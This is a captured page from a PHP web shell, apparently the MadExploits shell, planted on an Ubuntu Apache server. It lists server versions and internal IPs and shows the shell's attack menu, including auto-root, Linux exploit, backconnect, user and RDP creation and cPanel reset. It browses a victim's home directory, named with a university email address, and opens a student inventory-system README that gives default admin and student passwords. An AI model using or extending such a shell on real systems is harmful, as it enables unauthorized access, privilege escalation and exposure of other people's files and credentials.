Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
gautam22188@iiitd.edu.in /
IMS /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
backend
[ DIR ]
drwxr-xr-x
frontend
[ DIR ]
drwxr-xr-x
.gitignore
428
B
-rw-r--r--
IMS_Flowchart.png
1.26
MB
-rw-r--r--
README.md
4.36
KB
-rw-r--r--
To_Do_IMS.pdf
58.19
KB
-rw-r--r--
workflow.drawio
49.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# IMS - Inventory Management System A comprehensive inventory management system for managing lab equipment issuance with separate portals for Administrators and Students. ## Tech Stack - **Backend:** Node.js, Express.js, Prisma ORM - **Database:** PostgreSQL 14.20 - **Frontend:** React 18, Vite, Tailwind CSS - **Authentication:** JWT + bcrypt ## Project Structure ``` IMS/ ├── backend/ │ ├── controllers/ # Business logic │ ├── routes/ # API routes │ ├── middleware/ # Auth & validation │ ├── prisma/ # Database schema & migrations │ ├── config/ # Configuration files │ ├── utils/ # Helper functions │ └── server.js # Entry point ├── frontend/ │ ├── src/ │ │ ├── pages/ # Page components │ │ ├── components/ # Reusable components │ │ ├── services/ # API services │ │ ├── context/ # React context │ │ └── utils/ # Helper functions │ └── ... └── docs/ ``` ## Setup Instructions ### Prerequisites - Node.js v12.22.9 or higher - PostgreSQL 14.20 - npm 8.5.1 or higher ### Database Setup 1. Create a PostgreSQL database: ```bash createdb ims_db ``` 2. Update the DATABASE_URL in `backend/.env`: ``` DATABASE_URL="postgresql://your_username:your_password@localhost:5432/ims_db" ``` ### Backend Setup 1. Navigate to backend directory: ```bash cd backend ``` 2. Install dependencies: ```bash npm install ``` 3. Create `.env` file from `.env.example`: ```bash cp .env.example .env ``` 4. Update `.env` with your database credentials and JWT secret 5. Run Prisma migrations: ```bash npx prisma migrate dev --name init ``` 6. Seed the database with default users: ```bash npm run seed ``` 7. Start the backend server: ```bash npm run dev ``` Backend will run on `http://localhost:5000` ### Frontend Setup 1. Navigate to frontend directory: ```bash cd frontend ``` 2. Install dependencies: ```bash npm install ``` 3. Start the development server: ```bash npm run dev ``` Frontend will run on `http://localhost:5173` (or another port if 5173 is busy) ## Default Login Credentials ### Admin Account - Email: `admin@ims.com` - Password: `admin123` ### Student Account - Email: `student@ims.com` - Password: `student123` ## Features Implemented (Phase 1) ### Backend - ✅ Express.js server with CORS and middleware - ✅ Prisma ORM with PostgreSQL database - ✅ User authentication (JWT-based) - ✅ Role-based access control (Admin/Student) - ✅ Dashboard APIs for Admin and Student - ✅ Database schema with 7 models (User, Lab, Category, Item, Cart, Issue, Notification) ### Frontend - ✅ React 18 with Vite build tool - ✅ Tailwind CSS for styling - ✅ React Router for navigation - ✅ Login page with authentication - ✅ Admin Dashboard with statistics and recent activity - ✅ Student Dashboard with active issues and pending requests - ✅ Protected routes based on user roles - ✅ Toast notifications for user feedback ## API Endpoints ### Authentication - `POST /api/auth/register` - Register new student - `POST /api/auth/login` - Login (admin/student) - `GET /api/auth/me` - Get current user (protected) ### Dashboard - `GET /api/dashboard/admin` - Get admin dashboard data (admin only) - `GET /api/dashboard/student` - Get student dashboard data (student only) ## Database Schema - **User** - Stores admin and student accounts - **Lab** - Laboratory information - **Category** - Item categories within labs - **Item** - Inventory items - **Cart** - Student shopping cart - **Issue** - Track issued items and requests - **Notification** - User notifications ## Development ### Backend Development ```bash cd backend npm run dev # Starts server with nodemon ``` ### Frontend Development ```bash cd frontend npm run dev # Starts Vite dev server ``` ### Database Management ```bash cd backend npx prisma studio # Opens Prisma Studio (Database GUI) npx prisma migrate dev # Create new migration npx prisma generate # Regenerate Prisma Client ``` ## Next Steps (Future Phases) - Phase 2: Lab & Category Management (Admin) - Phase 3: Inventory Management (Admin) with Excel import/export - Phase 4: Student item browsing and cart functionality - Phase 5: Request approval workflow - Phase 6: Notification system - Phase 7: Testing & deployment ## License ISC
Close